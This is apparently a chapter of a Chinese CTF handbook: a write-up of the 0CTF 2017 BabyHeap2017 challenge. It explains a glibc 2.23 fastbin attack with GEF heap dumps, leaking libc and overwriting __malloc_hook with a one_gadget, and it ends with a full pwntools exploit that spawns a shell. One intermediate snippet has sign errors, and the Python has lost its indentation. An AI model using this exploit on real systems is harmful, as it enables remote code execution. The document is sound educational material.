CTF-All-In-One/doc/6.1.10_0ctf2017_babyheap2017.md
2018-01-11 20:27:48 +08:00

659 lines
28 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6.1.10 pwn 0CTF2017 BabyHeap2017
- [题目复现](#题目复现)
- [题目解析](#题目解析)
- [参考资料](#参考资料)
[下载文件](../src/writeup/6.1.10_0ctf2017_babyheap2017)
## 题目复现
这个题目给出了二进制文件。在 Ubuntu 16.04 上libc 就用自带的。
```
$ file babyheap
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
$ checksec -f babyheap
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 0 2 babyheap
$ file /lib/x86_64-linux-gnu/libc-2.23.so
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
```
64 位程序,保护全开。
把它运行起来:
```
socat tcp4-listen:10001,reuseaddr,fork exec:./babyheap &
```
一个典型的堆利用题目:
```
$ ./babyheap
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 1 // 分配一个指定大小的 chunk
Size: 5
Allocate Index 0
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 2 // 将指定大小数据放进 chunk但似乎没有进行边界检查导致溢出
Index: 0
Size: 10
Content: aaaaaaaaaa // 10个a
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 1. Allocate // 似乎触发了什么 bug如果是9个a就没事
2. Fill
3. Free
4. Dump
5. Exit
Command: 4 // 打印出 chunk 的内容,长度是新建时的长度,而不是放入数据的长度
Index: 0
Content:
aaaaa
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 3 // 释放 chunk
Index: 0
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 5
```
## 题目解析
根据前面所学的知识,我们知道释放且只释放了一个 chunk 后,该 free chunk 会被加入到 unsorted bin 中,它的 fd/bk 指针指向了 libc 中的 main_arena 结构。我们已经知道了 Fill 数据的操作存在溢出漏洞,但并没有发现 UAF 漏洞,所以要想泄露出 libc 基址,得利用 Dump 操作。另外内存分配使用了 calloc 函数,这个函数与 malloc 的区别是calloc 会将分配的内存空间每一位都初始化为 0所以也不能通过分配和释放几个小 chunk再分配一个大 chunk来泄露其内容。
怎么利用 Dump 操作呢?如果能使两个 chunk 相重叠Free 一个Dump 另一个,或许可行。
#### leak libc
还是一样的,为了方便调试,先关掉 ASLR。首先分配 3 个 fast chunk 和 1 个 small chunk其实填充数据对漏洞利用是没有意义的这里只是为了方便观察
```python
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
fill(0, "A"*16)
fill(1, "A"*16)
fill(2, "A"*16)
fill(3, "A"*16)
fill(4, "A"*128)
```
```
gef➤ x/40gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1
0x555555757030: 0x4141414141414141 0x4141414141414141
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- chunk 2
0x555555757050: 0x4141414141414141 0x4141414141414141
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4
0x555555757090: 0x4141414141414141 0x4141414141414141
0x5555557570a0: 0x4141414141414141 0x4141414141414141
0x5555557570b0: 0x4141414141414141 0x4141414141414141
0x5555557570c0: 0x4141414141414141 0x4141414141414141
0x5555557570d0: 0x4141414141414141 0x4141414141414141
0x5555557570e0: 0x4141414141414141 0x4141414141414141
0x5555557570f0: 0x4141414141414141 0x4141414141414141
0x555555757100: 0x4141414141414141 0x4141414141414141
0x555555757110: 0x0000000000000000 0x0000000000020ef1 <-- top chunk
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
gef➤ x/20gx 0xafc966564d0-0x10
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> chunk 1
0xafc966564e0: 0x0000000000000010 0x0000555555757030
0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> chunk 2
0xafc96656500: 0x0000555555757050 0x0000000000000001 <-- idx 3 -> chunk 3
0xafc96656510: 0x0000000000000010 0x0000555555757070
0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4
0xafc96656530: 0x0000555555757090 0x0000000000000000
0xafc96656540: 0x0000000000000000 0x0000000000000000
0xafc96656550: 0x0000000000000000 0x0000000000000000
```
另外我们看到chunk 的序号被存储到一个 mmap 分配出来的结构体中,包含了 chunk 的地址和大小。程序就是通过该结构体寻找 chunk然后各种操作的。
free 掉两个 fast chunk这样 chunk 2 的 fd 指针会被指向 chunk 1
```python
free(1)
free(2)
```
```
gef➤ x/2gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x555555757030, size=0x20, flags=PREV_INUSE)
gef➤ x/40gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [be freed]
0x555555757030: 0x0000000000000000 0x4141414141414141
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- chunk 2 [be freed] <-- fast bins
0x555555757050: 0x0000555555757020 0x4141414141414141 <-- fd pointer
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4
0x555555757090: 0x4141414141414141 0x4141414141414141
0x5555557570a0: 0x4141414141414141 0x4141414141414141
0x5555557570b0: 0x4141414141414141 0x4141414141414141
0x5555557570c0: 0x4141414141414141 0x4141414141414141
0x5555557570d0: 0x4141414141414141 0x4141414141414141
0x5555557570e0: 0x4141414141414141 0x4141414141414141
0x5555557570f0: 0x4141414141414141 0x4141414141414141
0x555555757100: 0x4141414141414141 0x4141414141414141
0x555555757110: 0x0000000000000000 0x0000000000020ef1
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
gef➤ x/20gx 0xafc966564d0-0x10
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
0xafc966564d0: 0x0000555555757010 0x0000000000000000
0xafc966564e0: 0x0000000000000000 0x0000000000000000
0xafc966564f0: 0x0000000000000000 0x0000000000000000
0xafc96656500: 0x0000000000000000 0x0000000000000001 <-- idx 3 -> chunk 3
0xafc96656510: 0x0000000000000010 0x0000555555757070
0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4
0xafc96656530: 0x0000555555757090 0x0000000000000000
0xafc96656540: 0x0000000000000000 0x0000000000000000
0xafc96656550: 0x0000000000000000 0x0000000000000000
```
free 掉的 chunk其结构体被清空等待下一次 malloc并添加到空出来的地方。
通过溢出漏洞修改已被释放的 chunk 2让 fd 指针指向 chunk 4这样就将 small chunk 加入到了 fastbins 链表中,然后还需要把 chunk 4 的 0x91 改成 0x21 以绕过 fastbins 大小的检查:
```python
payload = "A"*16
payload += p64(0)
payload += p64(0x21)
payload += p64(0)
payload += "A"*8
payload += p64(0)
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)
payload = "A"*16
payload += p64(0)
payload += p64(0x21)
fill(3, payload)
```
```
gef➤ x/2gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x555555757090, size=0x20, flags=PREV_INUSE) ← [Corrupted chunk at 0x4141414141414151]
gef➤ x/40gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [be freed]
0x555555757030: 0x0000000000000000 0x4141414141414141
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- chunk 2 [be freed] <-- fast bins
0x555555757050: 0x0000555555757080 0x4141414141414141 <-- fd pointer
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x0000000000000000 0x0000000000000021 <-- chunk 4
0x555555757090: 0x4141414141414141 0x4141414141414141
0x5555557570a0: 0x4141414141414141 0x4141414141414141
0x5555557570b0: 0x4141414141414141 0x4141414141414141
0x5555557570c0: 0x4141414141414141 0x4141414141414141
0x5555557570d0: 0x4141414141414141 0x4141414141414141
0x5555557570e0: 0x4141414141414141 0x4141414141414141
0x5555557570f0: 0x4141414141414141 0x4141414141414141
0x555555757100: 0x4141414141414141 0x4141414141414141
0x555555757110: 0x0000000000000000 0x0000000000020ef1
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
```
现在我们再分配两个 chunk它们都会从 fastbins 中被取出来,而且 new chunk 2 会和原来的 chunk 4 起始位置重叠,但前者是 fast chunk而后者是 small chunk即一个大 chunk 里包含了一个小 chunk这正是我们需要的
```python
alloc(0x10)
alloc(0x10)
fill(1, "B"*16)
fill(2, "C"*16)
fill(4, "D"*16)
```
```
gef➤ x/2gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x4141414141414141
gef➤ x/40gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [be freed]
0x555555757030: 0x0000000000000000 0x4141414141414141
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
0x555555757050: 0x4242424242424242 0x4242424242424242
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x0000000000000000 0x0000000000000021 <-- chunk 4, new chunk 2
0x555555757090: 0x4444444444444444 0x4444444444444444
0x5555557570a0: 0x0000000000000000 0x4141414141414141
0x5555557570b0: 0x4141414141414141 0x4141414141414141
0x5555557570c0: 0x4141414141414141 0x4141414141414141
0x5555557570d0: 0x4141414141414141 0x4141414141414141
0x5555557570e0: 0x4141414141414141 0x4141414141414141
0x5555557570f0: 0x4141414141414141 0x4141414141414141
0x555555757100: 0x4141414141414141 0x4141414141414141
0x555555757110: 0x0000000000000000 0x0000000000020ef1
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
gef➤ x/20gx 0xafc966564d0-0x10
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1
0xafc966564e0: 0x0000000000000010 0x0000555555757050
0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2
0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3
0xafc96656510: 0x0000000000000010 0x0000555555757070
0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4
0xafc96656530: 0x0000555555757090 0x0000000000000000
0xafc96656540: 0x0000000000000000 0x0000000000000000
0xafc96656550: 0x0000000000000000 0x0000000000000000
```
可以看到新分配的 chunk 2填补到了被释放的 chunk 2 的位置上。
再次利用溢出漏洞将 chunk 4 的 0x21 改回 0x91然后为了避免 free(4) 后该 chunk 被合并进 top chunk需要再分配一个 small chunk
```python
payload = "A"*16
payload += p64(0)
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
fill(5, "A"*128)
```
```
gef➤ x/60gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x0000000000000000 0x0000000000000021
0x555555757030: 0x0000000000000000 0x4141414141414141
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
0x555555757050: 0x4242424242424242 0x4242424242424242
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4, new chunk 2
0x555555757090: 0x4444444444444444 0x4444444444444444
0x5555557570a0: 0x0000000000000000 0x4141414141414141
0x5555557570b0: 0x4141414141414141 0x4141414141414141
0x5555557570c0: 0x4141414141414141 0x4141414141414141
0x5555557570d0: 0x4141414141414141 0x4141414141414141
0x5555557570e0: 0x4141414141414141 0x4141414141414141
0x5555557570f0: 0x4141414141414141 0x4141414141414141
0x555555757100: 0x4141414141414141 0x4141414141414141
0x555555757110: 0x0000000000000000 0x0000000000000091 <-- chunk 5
0x555555757120: 0x4141414141414141 0x4141414141414141
0x555555757130: 0x4141414141414141 0x4141414141414141
0x555555757140: 0x4141414141414141 0x4141414141414141
0x555555757150: 0x4141414141414141 0x4141414141414141
0x555555757160: 0x4141414141414141 0x4141414141414141
0x555555757170: 0x4141414141414141 0x4141414141414141
0x555555757180: 0x4141414141414141 0x4141414141414141
0x555555757190: 0x4141414141414141 0x4141414141414141
0x5555557571a0: 0x0000000000000000 0x0000000000020e61 <-- top chunk
0x5555557571b0: 0x0000000000000000 0x0000000000000000
0x5555557571c0: 0x0000000000000000 0x0000000000000000
0x5555557571d0: 0x0000000000000000 0x0000000000000000
gef➤ x/20gx 0xafc966564d0-0x10
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1
0xafc966564e0: 0x0000000000000010 0x0000555555757050
0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2
0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3
0xafc96656510: 0x0000000000000010 0x0000555555757070
0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4
0xafc96656530: 0x0000555555757090 0x0000000000000001 <-- idx 5 -> chunk 5
0xafc96656540: 0x0000000000000080 0x0000555555757120
0xafc96656550: 0x0000000000000000 0x0000000000000000
```
这时,如果我们将 chunk 4 释放掉,其 fd 指针会被设置为指向 unsorted bin 链表的头部,这个地址在 libc 中,且相对位置固定,利用它就可以算出 libc 被加载的地址:
```python
free(4)
```
```
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x555555757080, bk=0x555555757080
→ Chunk(addr=0x555555757090, size=0x90, flags=PREV_INUSE)
gef➤ x/60gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x0000000000000000 0x0000000000000021
0x555555757030: 0x0000000000000000 0x4141414141414141
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
0x555555757050: 0x4242424242424242 0x4242424242424242
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4 [be freed], new chunk 2 <-- unsorted bin
0x555555757090: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
0x5555557570a0: 0x0000000000000000 0x4141414141414141
0x5555557570b0: 0x4141414141414141 0x4141414141414141
0x5555557570c0: 0x4141414141414141 0x4141414141414141
0x5555557570d0: 0x4141414141414141 0x4141414141414141
0x5555557570e0: 0x4141414141414141 0x4141414141414141
0x5555557570f0: 0x4141414141414141 0x4141414141414141
0x555555757100: 0x4141414141414141 0x4141414141414141
0x555555757110: 0x0000000000000090 0x0000000000000090 <-- chunk 5
0x555555757120: 0x4141414141414141 0x4141414141414141
0x555555757130: 0x4141414141414141 0x4141414141414141
0x555555757140: 0x4141414141414141 0x4141414141414141
0x555555757150: 0x4141414141414141 0x4141414141414141
0x555555757160: 0x4141414141414141 0x4141414141414141
0x555555757170: 0x4141414141414141 0x4141414141414141
0x555555757180: 0x4141414141414141 0x4141414141414141
0x555555757190: 0x4141414141414141 0x4141414141414141
0x5555557571a0: 0x0000000000000000 0x0000000000020e61
0x5555557571b0: 0x0000000000000000 0x0000000000000000
0x5555557571c0: 0x0000000000000000 0x0000000000000000
0x5555557571d0: 0x0000000000000000 0x0000000000000000
gef➤ x/20gx 0xafc966564d0-0x10
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1
0xafc966564e0: 0x0000000000000010 0x0000555555757050
0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2
0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3
0xafc96656510: 0x0000000000000010 0x0000555555757070
0xafc96656520: 0x0000000000000000 0x0000000000000000
0xafc96656530: 0x0000000000000000 0x0000000000000001 <-- idx 5 -> chunk 5
0xafc96656540: 0x0000000000000080 0x0000555555757120
0xafc96656550: 0x0000000000000000 0x0000000000000000
```
最后利用 Dump 操作即可将地址泄漏出来:
```python
leak = u64(dump(2)[:8])
libc = leak - 0x3c4b78 # 0x3c4b78 = leak - libc
__malloc_hook = libc - 0x3c4b10 # readelf -s libc.so.6 | grep __malloc_hook@
one_gadget = libc - 0x4526a
```
```
[*] leak => 0x7ffff7dd1b78
[*] libc => 0x7ffff7a0d000
[*] __malloc_hook => 0x7ffff7dd1b10
[*] one_gadget => 0x7ffff7a5226a
```
#### get shell
由于开启了 Full RELRO改写 GOT 表是不行了。考虑用 `__malloc_hook`,它是一个弱类型的函数指针变量,指向 ` void * function(size_t size, void * caller)`,当调用 malloc() 时,首先判断 hook 函数指针是否为空,不为空则调用它。所以这里我们传入一个 one-gadget 即可详情请查看章节4.6)。
首先考虑怎样利用 fastbins 在 `__malloc_hook` 指向的地址处写入 one_gadget 的地址。这里有一个技巧,地址偏移,就像下面这样构造一个 fake chunk其大小为 0x7f也就是一个 fast chunk
```
gef➤ x/10gx (long long)(&main_arena)-0x30
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x4141414141414141 <-- target
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
gef➤ x/10gx (long long)(&main_arena)-0x30+0xd
0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f <-- fake chunk
0x7ffff7dd1b0d: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x4141414141000000
0x7ffff7dd1b2d: 0x0000000000414141 0x0000000000000000
0x7ffff7dd1b3d: 0x0000000000000000 0x0000000000000000
```
用本地的泄露地址减去 libc 地址得到偏移:
```
[0x00000000]> ?v 0x7ffff7dd1b78 - 0x7ffff7a0d000
0x3c4b78
```
之前 free 掉的 chunk 4 一个 small chunk被添加到了 unsorted bin 中,而这里我们需要的是 fast chunk所以这里采用分配一个 fast chunk再释放掉的办法将其添加到 fast bins 中。然后改写它的 fd 指针指向 fake chunk当然也要通过 libc 偏移计算出来):
```python
alloc(0x60)
free(4)
payload = p64(libc + 0x3c4afd)
fill(2, payload)
```
```
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x5555557570f0, bk=0x5555557570f0
→ Chunk(addr=0x555555757100, size=0x20, flags=PREV_INUSE)
gef➤ x/60gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x0000000000000000 0x0000000000000021
0x555555757030: 0x0000000000000000 0x4141414141414141
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
0x555555757050: 0x4242424242424242 0x4242424242424242
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x0000000000000000 0x0000000000000071 <-- new chunk 2, new chunk 4 [be freed]
0x555555757090: 0x00007ffff7dd1afd 0x0000000000000000 <-- fd pointer
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757110: 0x0000000000000020 0x0000000000000090 <-- chunk 5
0x555555757120: 0x4141414141414141 0x4141414141414141
0x555555757130: 0x4141414141414141 0x4141414141414141
0x555555757140: 0x4141414141414141 0x4141414141414141
0x555555757150: 0x4141414141414141 0x4141414141414141
0x555555757160: 0x4141414141414141 0x4141414141414141
0x555555757170: 0x4141414141414141 0x4141414141414141
0x555555757180: 0x4141414141414141 0x4141414141414141
0x555555757190: 0x4141414141414141 0x4141414141414141
0x5555557571a0: 0x0000000000000000 0x0000000000020e61
0x5555557571b0: 0x0000000000000000 0x0000000000000000
0x5555557571c0: 0x0000000000000000 0x0000000000000000
0x5555557571d0: 0x0000000000000000 0x0000000000000000
```
连续两次分配,第一次将 fake chunk 添加到 fast bins第二次分配 fake chunk分别是 new new chunk 4 和 chunk 6。然后就可以改写 `__malloc_hook` 的地址,将其指向 one-gadget
```python
alloc(0x60)
alloc(0x60)
payload = p8(0)*3
payload += p64(one_gadget)
fill(6, payload)
```
```
gef➤ x/10gx (long long)(&main_arena)-0x30
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x000000fff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x00007ffff7a5226a 0x0000000000000000 <-- target
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x4141414141414141
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
gef➤ x/60gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x0000000000000000 0x0000000000000021
0x555555757030: 0x0000000000000000 0x4141414141414141
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
0x555555757050: 0x4242424242424242 0x4242424242424242
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x0000000000000000 0x0000000000000071 <-- new chunk 2, new new chunk 4
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757110: 0x0000000000000020 0x0000000000000090 <-- chunk 5
0x555555757120: 0x4141414141414141 0x4141414141414141
0x555555757130: 0x4141414141414141 0x4141414141414141
0x555555757140: 0x4141414141414141 0x4141414141414141
0x555555757150: 0x4141414141414141 0x4141414141414141
0x555555757160: 0x4141414141414141 0x4141414141414141
0x555555757170: 0x4141414141414141 0x4141414141414141
0x555555757180: 0x4141414141414141 0x4141414141414141
0x555555757190: 0x4141414141414141 0x4141414141414141
0x5555557571a0: 0x0000000000000000 0x0000000000020e61
0x5555557571b0: 0x0000000000000000 0x0000000000000000
0x5555557571c0: 0x0000000000000000 0x0000000000000000
0x5555557571d0: 0x0000000000000000 0x0000000000000000
gef➤ x/30gx 0xafc966564d0-0x10
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1
0xafc966564e0: 0x0000000000000010 0x0000555555757050
0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2
0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3
0xafc96656510: 0x0000000000000010 0x0000555555757070
0xafc96656520: 0x0000000000000001 0x0000000000000060 <-- idx 4 -> new new chunk4
0xafc96656530: 0x0000555555757090 0x0000000000000001 <-- idx 5 -> chunk 5
0xafc96656540: 0x0000000000000080 0x0000555555757120
0xafc96656550: 0x0000000000000001 0x0000000000000060 <-- idx 6 -> chunk 6
0xafc96656560: 0x00007ffff7dd1b0d 0x0000000000000000
0xafc96656570: 0x0000000000000000 0x0000000000000000
0xafc96656580: 0x0000000000000000 0x0000000000000000
0xafc96656590: 0x0000000000000000 0x0000000000000000
0xafc966565a0: 0x0000000000000000 0x0000000000000000
```
最后,只要调用了 malloc就会触发 hook 函数,即 one-gadget。现在可以开启 ASLR 了,因为通过泄漏 libc 地址,我们已经完全绕过了它。
Bingo!!!
```
$ python exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] leak => 0x7f8c1be9eb78
[*] libc => 0x7f8c1bada000
[*] __malloc_hook => 0x7f8c1be9eb10
[*] one_gadget => 0x7f8c1bb1f26a
[*] Switching to interactive mode
$ whoami
firmy
```
本题多次使用 fastbin attack确实经典。
#### exploit
完整的 exp 如下:
```python
from pwn import *
io = remote('127.0.0.1', 10001)
def alloc(size):
io.recvuntil("Command: ")
io.sendline('1')
io.recvuntil("Size: ")
io.sendline(str(size))
def fill(idx, cont):
io.recvuntil("Command: ")
io.sendline('2')
io.recvuntil("Index: ")
io.sendline(str(idx))
io.recvuntil("Size: ")
io.sendline(str(len(cont)))
io.recvuntil("Content: ")
io.send(cont)
def free(idx):
io.recvuntil("Command: ")
io.sendline('3')
io.recvuntil("Index: ")
io.sendline(str(idx))
def dump(idx):
io.recvuntil("Command: ")
io.sendline('4')
io.recvuntil("Index: ")
io.sendline(str(idx))
io.recvuntil("Content: \n")
data = io.recvline()
return data
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
#fill(0, "A"*16)
#fill(1, "A"*16)
#fill(2, "A"*16)
#fill(3, "A"*16)
#fill(4, "A"*128)
free(1)
free(2)
payload = "A"*16
payload += p64(0)
payload += p64(0x21)
payload += p64(0)
payload += "A"*8
payload += p64(0)
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)
payload = "A"*16
payload += p64(0)
payload += p64(0x21)
fill(3, payload)
alloc(0x10)
alloc(0x10)
#fill(1, "B"*16)
#fill(2, "C"*16)
#fill(4, "D"*16)
payload = "A"*16
payload += p64(0)
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
#fill(5, "A"*128)
free(4)
leak = u64(dump(2)[:8])
libc = leak - 0x3c4b78 # 0x3c4b78 = leak - libc
__malloc_hook = libc + 0x3c4b10 # readelf -s libc.so.6 | grep __malloc_hook@
one_gadget = libc + 0x4526a
log.info("leak => 0x%x" % leak)
log.info("libc => 0x%x" % libc)
log.info("__malloc_hook => 0x%x" % __malloc_hook)
log.info("one_gadget => 0x%x" % one_gadget)
alloc(0x60)
free(4)
payload = p64(libc + 0x3c4afd)
fill(2, payload)
alloc(0x60)
alloc(0x60)
payload = p8(0)*3
payload += p64(one_gadget)
fill(6, payload)
alloc(1)
io.interactive()
```
## 参考资料
- [0ctf Quals 2017 - BabyHeap2017](http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html)
- [how2heap](https://github.com/shellphish/how2heap)